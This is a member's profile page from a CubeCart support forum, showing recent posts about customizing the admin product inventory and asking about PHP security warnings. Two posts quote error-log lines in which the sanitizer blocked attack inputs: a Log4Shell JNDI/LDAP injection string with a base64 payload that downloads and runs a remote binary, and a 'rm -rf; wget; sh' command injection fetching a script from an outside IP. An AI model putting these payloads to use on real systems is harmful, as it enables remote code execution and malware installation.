Jump to content

Claudia M

Member
  • Posts

    847
  • Joined

  • Last visited

  • Days Won

    13

Claudia M last won the day on December 7 2021

Claudia M had the most liked content!

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Claudia M's Achievements

Enthusiast

Enthusiast (6/14)

  • Dedicated Rare
  • First Post
  • Collaborator Rare
  • Posting Machine Rare
  • Conversation Starter

Recent Badges

6

Reputation

  1. Here I am again asking about warnings in my cPanel log. Never had these in my old site so just want to see what they are all about. Thanks in advance for any and all info [18-May-2022 19:46:02 America/Louisville] PHP Warning: Security Warning: Illegal array key "unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA in /home/waymixco/public_html/classes/sanitize.class.php on line 114 [19-May-2022 07:05:57 America/Louisville] PHP Warning: Security Warning: Illegal array key "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150_136_111_68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114 [19-May-2022 08:41:49 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155 [19-May-2022 15:40:02 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155 [19-May-2022 17:20:17 America/Louisville] PHP Warning: Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114 [19-May-2022 17:58:28 America/Louisville] PHP Warning: Security Warning: Illegal array key "images/" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114 [19-May-2022 07:05:57 America/Louisville] PHP Warning: Security Warning: Illegal array key "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150_136_111_68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114 [19-May-2022 08:41:49 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155 [19-May-2022 15:40:02 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155 [19-May-2022 17:20:17 America/Louisville] PHP Warning: Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114
  2. It was where I placed the last code. I had added other elements and placed this in the middle for some stupid reason. But it's got my wondering if my other added code is correct. Should I add foreach on all of them and have two } instead of the one? Here's a partial sample of what I have now: // Update Status foreach ($_POST['status'] as $product_id => $status) { $GLOBALS['db']->update('CubeCart_inventory', array('status' => $status), array('product_id' => $product_id)); } if (isset($_POST['latest']) && is_array($_POST['latest']) && Admin::getInstance()->permissions('products', CC_PERM_EDIT)) { // Update Latest Product state foreach ($_POST['latest'] as $product_id => $state) { $GLOBALS['db']->update('CubeCart_inventory', array('latest' => $state), array('product_id' => $product_id)); } } if (isset($_POST['product']) && is_array($_POST['product'])) { // Update Product Code foreach ($_POST['product'] as $product_id => $product_detail_to_update) { if (isset($product_detail_to_update['product_code'])) { $GLOBALS['db']->update('CubeCart_inventory', array('product_code' => $product_detail_to_update['product_code']), array('product_id' => $product_id)); } // Update Product Name if (isset($product_detail_to_update['product_name'])) { $GLOBALS['db']->update('CubeCart_inventory', array('name' => $product_detail_to_update['product_name']), array('product_id' => $product_id)); } // Update Product Price if (isset($product_detail_to_update['product_price'])) { $GLOBALS['db']->update('CubeCart_inventory', array('price' => $product_detail_to_update['product_price']), array('product_id' => $product_id)); } // Update Cost Price if (isset($product_detail_to_update['cost_price'])) { $GLOBALS['db']->update('CubeCart_inventory', array('cost_price' => $product_detail_to_update['cost_price']), array('product_id' => $product_id)); } // Update Item Location if (isset($product_detail_to_update['item_location'])) { $GLOBALS['db']->update('CubeCart_inventory', array('item_location' => $product_detail_to_update['item_location']), array('product_id' => $product_id)); }
  3. It works if I do it from the general information page for the product - but not from the added checkbox on the product inventory page
  4. Hi Brian, I implemented the code above and though I can put the checkmark in the box it does not stay there when I click save. Any suggestions.
  5. Hi Ian, I looked at that and though it is a great plugin I think I have things the way I want now. I did purchase the Automatic XML Sitemap Generator from you for my new site but it's showing pending. Is there something I need to do? Claudia
  6. Thank you Brian .... that did it! This should maybe be something that is stock in Cubecart? A lot of people don't really use this for the most current products
  7. I am trying to add a sortable checkbox for latest products on the product inventory page in admin. I change my latest products frequently and want to keep track of them. I can get the checkbox to show up, I just can't get it to work. I've added this so the checkbox doesn't take up a lot of room on the product inventory page <thead> <tr> <th nowrap="nowrap">&nbsp;</th> <th nowrap="nowrap">{$THEAD.name}</th> <th nowrap="nowrap">LP</th> <th nowrap="nowrap">{$THEAD.image}</th> A few lines later I put this <span class="light-category">{$product.category}</span> {/if} </td> <td style="text-align:center"><input type="hidden" name="latest" id="product_latest" class="toggle" value="{$PRODUCT.latest}"></td> <td style="text-align:center"> {if !empty($product.image_path_tiny)} I know I need to put something like this in the source file to make it sortable but I need to get it to work first // Sorting $current_page = currentPage(array('sort')); if (!isset($_GET['sort']) || !is_array($_GET['sort'])) { $_GET['sort'] = array('updated' => 'DESC'); } $thead_sort = array( 'status' => $GLOBALS['db']->column_sort('status', $lang['common']['status'], 'sort', $current_page, $_GET['sort']), 'digital' => $GLOBALS['db']->column_sort('digital', $lang['common']['type'], 'sort', $current_page, $_GET['sort']), 'product_latest' => $GLOBALS['db']->column_sort('product_latest', $lang['catalogue']['type'], 'sort', $current_page, $_GET['sort']), The checkbox won't stay checked and I didn't want to go any further and mess everything up. Thanks for any and all help Claudia
  8. I guess not. I'll just delete them
  9. Brian this is getting annoying. Am I going to get these errors every day from here on out? I opened my error log but there's nothing matching date and time wise. But the logs only go back an hour or two.
  10. I'm setting up my custom page in admin and i get this. The textbox are too long for the country and state and the checkboxes for the default billling and delivery addresses are missing. The only change I have made for the stock CC6.4.5 admin/skin/customer file is adding a sold venue field. I've even left the </span> </span> in the wrong place as in the stock 6.4.5 file. Thanks for any and all help Nevermind - It's working now
  11. So it's ok to ignore it? Cubecart handled it.
  12. What does this error mean? [27-Apr-2022 09:14:57 America/Louisville] PHP Warning: Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_23_94_50_159/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxxx/public_html/classes/sanitize.class.php on line 114 This is a brand new site. The only thing I've done is some cosmetic stuff and intergrated Semper_Fi Related Products Module from my old site with the changes Brian gave me to make it work with CC6.4.4 and some custom changes I needed. I exported / imported the database needed from the old store to the new one. I'm running CC6.4.5 on the new site. Also I downloaded my raw access log, but have no way to open it. Thanks in advance for any and all help
  13. Sounds like good instructions to me. I'll give it a go! Thanks!
  14. Hi, I'm starting a new web site and am using the All In One Shipping for both. I have it setup for the older site and was wondering if there is some way I can just copy the rates (database) to the new site from the other database. I need to keep it in the older site too. It's just that they are the same and it would be a lot of work. Thanks in advance, Claudia
×
×
  • Create New...